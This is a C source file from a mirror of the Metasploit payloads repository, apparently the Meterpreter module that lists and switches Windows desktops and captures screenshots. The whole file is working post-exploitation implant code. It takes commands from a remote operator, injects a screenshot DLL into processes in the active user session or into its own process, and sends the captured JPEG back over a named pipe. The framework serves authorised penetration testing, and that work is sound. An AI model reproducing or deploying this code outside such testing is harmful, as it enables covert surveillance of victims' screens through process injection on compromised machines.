mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-30 22:19:17 +02:00
523 lines
14 KiB
C
523 lines
14 KiB
C
#include "precomp.h"
|
|
#include "./../sys/session.h"
|
|
#include "./../sys/process/ps.h"
|
|
|
|
typedef struct _DESKTOPLIST
|
|
{
|
|
DWORD dwSessionId;
|
|
char * cpStationName;
|
|
Packet * response;
|
|
} DESKTOPLIST, *LPDESKTOPLIST;
|
|
|
|
/*
|
|
* Callback function for EnumDesktops when listing desktops on a station during desktop_list().
|
|
*/
|
|
BOOL CALLBACK desktop_enumdesktops_callback(LPTSTR cpDesktopName, LPARAM lpParam)
|
|
{
|
|
DESKTOPLIST * dl = NULL;
|
|
Tlv entry[3] = { 0 };
|
|
DWORD dwSessionId = 0;
|
|
|
|
do
|
|
{
|
|
dl = (DESKTOPLIST *)lpParam;
|
|
if (!dl)
|
|
{
|
|
break;
|
|
}
|
|
|
|
if (!dl->cpStationName || !dl->response || !cpDesktopName)
|
|
{
|
|
break;
|
|
}
|
|
|
|
dwSessionId = htonl(dl->dwSessionId);
|
|
|
|
entry[0].header.type = TLV_TYPE_DESKTOP_SESSION;
|
|
entry[0].header.length = sizeof(DWORD);
|
|
entry[0].buffer = (PUCHAR)&dwSessionId;
|
|
|
|
entry[1].header.type = TLV_TYPE_DESKTOP_STATION;
|
|
entry[1].header.length = (DWORD)(strlen(dl->cpStationName) + 1);
|
|
entry[1].buffer = (PUCHAR)dl->cpStationName;
|
|
|
|
entry[2].header.type = TLV_TYPE_DESKTOP_NAME;
|
|
entry[2].header.length = (DWORD)(strlen(cpDesktopName) + 1);
|
|
entry[2].buffer = (PUCHAR)cpDesktopName;
|
|
|
|
packet_add_tlv_group(dl->response, TLV_TYPE_DESKTOP, entry, 3);
|
|
|
|
} while (0);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
/*
|
|
* Callback function for EnumWindowStations when listing stations during request_ui_desktop_enum().
|
|
*/
|
|
BOOL CALLBACK desktop_enumstations_callback(LPTSTR cpStationName, LPARAM param)
|
|
{
|
|
HWINSTA hWindowStation = NULL;
|
|
DESKTOPLIST dl = { 0 };
|
|
|
|
do
|
|
{
|
|
hWindowStation = OpenWindowStation(cpStationName, FALSE, MAXIMUM_ALLOWED); // WINSTA_ALL_ACCESS
|
|
if (!hWindowStation)
|
|
{
|
|
break;
|
|
}
|
|
|
|
dl.dwSessionId = session_id(GetCurrentProcessId());
|
|
dl.response = (Packet *)param;
|
|
dl.cpStationName = cpStationName;
|
|
|
|
EnumDesktops(hWindowStation, desktop_enumdesktops_callback, (LPARAM)&dl);
|
|
|
|
} while (0);
|
|
|
|
if (hWindowStation)
|
|
{
|
|
CloseWindowStation(hWindowStation);
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
/*
|
|
* Enumerate all accessible desktops on all stations.
|
|
*/
|
|
DWORD request_ui_desktop_enum(Remote * remote, Packet * request)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
Packet * response = NULL;
|
|
|
|
do
|
|
{
|
|
response = packet_create_response(request);
|
|
if (!response)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_enum. packet_create_response failed", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
EnumWindowStations(desktop_enumstations_callback, (LPARAM)response);
|
|
|
|
} while (0);
|
|
|
|
if (response)
|
|
{
|
|
packet_transmit_response(dwResult, remote, response);
|
|
}
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Get the session/windows station/desktop we are currently using.
|
|
*/
|
|
DWORD request_ui_desktop_get(Remote * remote, Packet * request)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
Packet * response = NULL;
|
|
|
|
do
|
|
{
|
|
response = packet_create_response(request);
|
|
if (!response)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_get. packet_create_response failed", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
lock_acquire(remote->lock);
|
|
|
|
packet_add_tlv_uint(response, TLV_TYPE_DESKTOP_SESSION, remote->curr_sess_id);
|
|
packet_add_tlv_string(response, TLV_TYPE_DESKTOP_STATION, remote->curr_station_name);
|
|
packet_add_tlv_string(response, TLV_TYPE_DESKTOP_NAME, remote->curr_desktop_name);
|
|
|
|
lock_release(remote->lock);
|
|
|
|
} while (0);
|
|
|
|
if (response)
|
|
{
|
|
packet_transmit_response(dwResult, remote, response);
|
|
}
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Set this process to use a specified window station and this thread to use
|
|
* a specified desktop.
|
|
*/
|
|
DWORD request_ui_desktop_set(Remote * remote, Packet * request)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
Packet * response = NULL;
|
|
char * cpDesktopName = NULL;
|
|
char * cpStationName = NULL;
|
|
HWINSTA hWindowStation = NULL;
|
|
HWINSTA hOrigWindowStation = NULL;
|
|
HDESK hDesktop = NULL;
|
|
BOOL bSwitch = FALSE;
|
|
DWORD dwSessionId = 0;
|
|
|
|
do
|
|
{
|
|
response = packet_create_response(request);
|
|
if (!response)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_set. packet_create_response failed", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
dwSessionId = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SESSION);
|
|
if (!dwSessionId)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_SESSION provided", ERROR_INVALID_PARAMETER);
|
|
}
|
|
|
|
if (dwSessionId == -1)
|
|
{
|
|
dwSessionId = session_id(GetCurrentProcessId());
|
|
}
|
|
|
|
cpStationName = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_STATION);
|
|
if (!cpStationName)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_STATION provided", ERROR_INVALID_PARAMETER);
|
|
}
|
|
|
|
cpDesktopName = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_NAME);
|
|
if (!cpDesktopName)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_NAME provided", ERROR_INVALID_PARAMETER);
|
|
}
|
|
|
|
bSwitch = packet_get_tlv_value_bool(request, TLV_TYPE_DESKTOP_SWITCH);
|
|
|
|
dprintf("[UI] desktop_set: Session %d\\%s\\%s (bSwitch=%d)", dwSessionId, cpStationName, cpDesktopName, bSwitch);
|
|
|
|
// If we are switching desktop in our own session we proceed with the normal Windows API
|
|
if (dwSessionId == session_id(GetCurrentProcessId()))
|
|
{
|
|
hWindowStation = OpenWindowStation(cpStationName, FALSE, WINSTA_ALL_ACCESS); // WINSTA_ALL_ACCESS MAXIMUM_ALLOWED
|
|
if (!hWindowStation)
|
|
{
|
|
if (RevertToSelf())
|
|
{
|
|
hWindowStation = OpenWindowStation(cpStationName, FALSE, WINSTA_ALL_ACCESS);
|
|
}
|
|
}
|
|
|
|
if (!hWindowStation)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_set. Couldnt get the new Window Station", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
hOrigWindowStation = GetProcessWindowStation();
|
|
|
|
if (!SetProcessWindowStation(hWindowStation))
|
|
{
|
|
BREAK_ON_ERROR("[UI] desktop_set. SetProcessWindowStation failed");
|
|
}
|
|
|
|
hDesktop = OpenDesktop(cpDesktopName, 0, FALSE, GENERIC_ALL);
|
|
if (!hDesktop)
|
|
{
|
|
BREAK_ON_ERROR("[UI] desktop_set. OpenDesktop failed");
|
|
}
|
|
|
|
if (!SetThreadDesktop(hDesktop))
|
|
{
|
|
BREAK_ON_ERROR("[UI] desktop_set. SetThreadDesktop failed");
|
|
}
|
|
|
|
if (bSwitch)
|
|
{
|
|
if (!SwitchDesktop(hDesktop))
|
|
{
|
|
BREAK_ON_ERROR("[UI] desktop_set. SwitchDesktop failed");
|
|
}
|
|
}
|
|
|
|
core_update_desktop(remote, dwSessionId, cpStationName, cpDesktopName);
|
|
}
|
|
else
|
|
{
|
|
// if we are to use a desktop from a session which is not our own...
|
|
BREAK_WITH_ERROR("[UI] desktop_set. Currently unable to set a desktop from an external session", ERROR_ACCESS_DENIED);
|
|
}
|
|
|
|
} while (0);
|
|
|
|
if (response)
|
|
{
|
|
packet_transmit_response(dwResult, remote, response);
|
|
}
|
|
|
|
if (hDesktop)
|
|
{
|
|
CloseDesktop(hDesktop);
|
|
}
|
|
|
|
if (hWindowStation)
|
|
{
|
|
CloseWindowStation(hWindowStation);
|
|
}
|
|
|
|
if (hOrigWindowStation)
|
|
{
|
|
SetProcessWindowStation(hOrigWindowStation);
|
|
}
|
|
|
|
if (dwResult != ERROR_SUCCESS)
|
|
{
|
|
core_update_desktop(remote, -1, NULL, NULL);
|
|
}
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Worker thread for desktop screenshot. Creates a named pipe and reads in the
|
|
* screenshot for the first client which connects to it.
|
|
*/
|
|
DWORD THREADCALL desktop_screenshot_thread(THREAD * thread)
|
|
{
|
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
|
HANDLE hServerPipe = NULL;
|
|
HANDLE hToken = NULL;
|
|
char * cpNamedPipe = NULL;
|
|
Packet * response = NULL;
|
|
BYTE * pBuffer = NULL;
|
|
DWORD dwRead = 0;
|
|
DWORD dwLength = 0;
|
|
DWORD dwTotal = 0;
|
|
|
|
do
|
|
{
|
|
if (!thread)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. invalid thread", ERROR_BAD_ARGUMENTS);
|
|
}
|
|
|
|
cpNamedPipe = (char *)thread->parameter1;
|
|
response = (Packet *)thread->parameter2;
|
|
|
|
if (!cpNamedPipe || !response)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. invalid thread arguments", ERROR_BAD_ARGUMENTS);
|
|
}
|
|
|
|
dprintf("[UI] desktop_screenshot_thread. cpNamedPipe=%s", cpNamedPipe);
|
|
|
|
// create the named pipe for the client service to connect to
|
|
hServerPipe = CreateNamedPipe(cpNamedPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, NULL);
|
|
if (!hServerPipe)
|
|
{
|
|
BREAK_ON_ERROR("[UI] desktop_screenshot_thread. CreateNamedPipe failed");
|
|
}
|
|
|
|
while (TRUE)
|
|
{
|
|
if (event_poll(thread->sigterm, 0))
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD);
|
|
}
|
|
|
|
// wait for a client to connect to our named pipe...
|
|
if (!ConnectNamedPipe(hServerPipe, NULL) && GetLastError() != ERROR_PIPE_CONNECTED)
|
|
{
|
|
continue;
|
|
}
|
|
|
|
dprintf("[UI] desktop_screenshot_thread. got client conn.");
|
|
|
|
if (!ReadFile(hServerPipe, &dwLength, sizeof(DWORD), &dwRead, NULL))
|
|
{
|
|
BREAK_ON_ERROR("[UI] desktop_screenshot_thread. ReadFile 1 failed");
|
|
}
|
|
|
|
// a client can send a zero length to indicate that it cant get a screenshot.
|
|
if (!dwLength)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. dwLength == 0", ERROR_BAD_LENGTH);
|
|
}
|
|
|
|
pBuffer = (BYTE *)malloc(dwLength);
|
|
if (!pBuffer)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. pBuffer malloc failed", ERROR_NOT_ENOUGH_MEMORY);
|
|
}
|
|
|
|
while (dwTotal < dwLength)
|
|
{
|
|
DWORD dwAvailable = 0;
|
|
|
|
if (!PeekNamedPipe(hServerPipe, NULL, 0, NULL, &dwAvailable, NULL))
|
|
{
|
|
break;
|
|
}
|
|
|
|
if (!dwAvailable)
|
|
{
|
|
Sleep(100);
|
|
continue;
|
|
}
|
|
|
|
if (!ReadFile(hServerPipe, (LPVOID)(pBuffer + dwTotal), (dwLength - dwTotal), &dwRead, NULL))
|
|
{
|
|
break;
|
|
}
|
|
|
|
dwTotal += dwRead;
|
|
}
|
|
|
|
dwResult = packet_add_tlv_raw(response, TLV_TYPE_DESKTOP_SCREENSHOT, pBuffer, dwTotal);
|
|
|
|
break;
|
|
}
|
|
|
|
} while (0);
|
|
|
|
if (hServerPipe)
|
|
{
|
|
DisconnectNamedPipe(hServerPipe);
|
|
CLOSE_HANDLE(hServerPipe);
|
|
}
|
|
|
|
SAFE_FREE(pBuffer);
|
|
|
|
dprintf("[UI] desktop_screenshot_thread finishing, dwResult=%d", dwResult);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* Take a screenshot of the desktop and transmit the image (in JPEG format) back to the client.
|
|
*/
|
|
DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
Packet * response = NULL;
|
|
THREAD * pPipeThread = NULL;
|
|
LPVOID lpDllBuffer = NULL;
|
|
DLL_BUFFER DllBuffer = { 0 };
|
|
char cNamedPipe[MAX_PATH] = { 0 };
|
|
char cCommandLine[MAX_PATH] = { 0 };
|
|
int quality = 0;
|
|
DWORD dwDllLength = 0;
|
|
DWORD dwPipeName = 0;
|
|
DWORD dwCurrentSessionId = 0;
|
|
DWORD dwActiveSessionId = 0;
|
|
|
|
do
|
|
{
|
|
response = packet_create_response(request);
|
|
if (!response)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot. packet_create_response failed", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
quality = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY);
|
|
if (quality < 1 || quality > 100)
|
|
{
|
|
quality = 50;
|
|
}
|
|
|
|
// get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes
|
|
// we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system
|
|
// we dont need to send the x64 screenshot dll as there will be no x64 processes to inject it into.
|
|
DllBuffer.dwPE32DllLenght = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH);
|
|
DllBuffer.lpPE32DllBuffer = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER);
|
|
|
|
DllBuffer.dwPE64DllLenght = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH);
|
|
DllBuffer.lpPE64DllBuffer = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER);
|
|
|
|
if (!DllBuffer.lpPE32DllBuffer && !DllBuffer.lpPE64DllBuffer)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot. Invalid dll arguments, at least 1 dll must be supplied", ERROR_BAD_ARGUMENTS);
|
|
}
|
|
|
|
// get the session id that our host process belongs to
|
|
dwCurrentSessionId = session_id(GetCurrentProcessId());
|
|
|
|
// get the session id for the interactive session
|
|
dwActiveSessionId = session_activeid();
|
|
|
|
// create a uniuqe pipe name for our named pipe server
|
|
dwPipeName = GetTickCount();
|
|
|
|
_snprintf(cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName);
|
|
|
|
// create the commandline to pass to the screenshot dll when we inject it
|
|
_snprintf(cCommandLine, MAX_PATH, "/s /q:%d /p:0x%08X\x00", quality, dwPipeName);
|
|
|
|
dprintf("[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine);
|
|
|
|
// start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot.
|
|
pPipeThread = thread_create(desktop_screenshot_thread, &cNamedPipe, response, NULL);
|
|
if (!pPipeThread)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
if (!thread_run(pPipeThread))
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot. thread_run failed", ERROR_ACCESS_DENIED);
|
|
}
|
|
|
|
Sleep(500);
|
|
|
|
// do the local process or session injection
|
|
if (dwCurrentSessionId != dwActiveSessionId)
|
|
{
|
|
dprintf("[UI] desktop_screenshot. Injecting into active session %d...\n", dwActiveSessionId);
|
|
if (session_inject(dwActiveSessionId, &DllBuffer, cCommandLine) != ERROR_SUCCESS)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot. session_inject failed", ERROR_ACCESS_DENIED);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
dprintf("[UI] desktop_screenshot. Allready in the active session %d.\n", dwActiveSessionId);
|
|
if (ps_inject(GetCurrentProcessId(), &DllBuffer, cCommandLine) != ERROR_SUCCESS)
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot. ps_inject current process failed", ERROR_ACCESS_DENIED);
|
|
}
|
|
}
|
|
|
|
// Wait for at most 30 seconds for the screenshot to happen...
|
|
// If we have injected our code via APC injection, it may take a while for the target
|
|
// thread to enter an alertable state and get our queued APC executed.
|
|
WaitForSingleObject(pPipeThread->handle, 30000);
|
|
|
|
// signal our thread to terminate if it is still running.
|
|
thread_sigterm(pPipeThread);
|
|
|
|
// and wait for it to terminate...
|
|
thread_join(pPipeThread);
|
|
|
|
// get the exit code for our pthread
|
|
if (!GetExitCodeThread(pPipeThread->handle, &dwResult))
|
|
{
|
|
BREAK_WITH_ERROR("[UI] desktop_screenshot. GetExitCodeThread failed", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
} while (0);
|
|
|
|
if (response)
|
|
{
|
|
packet_transmit_response(dwResult, remote, response);
|
|
}
|
|
|
|
if (pPipeThread)
|
|
{
|
|
thread_sigterm(pPipeThread);
|
|
thread_join(pPipeThread);
|
|
thread_destroy(pPipeThread);
|
|
}
|
|
|
|
return dwResult;
|
|
}
|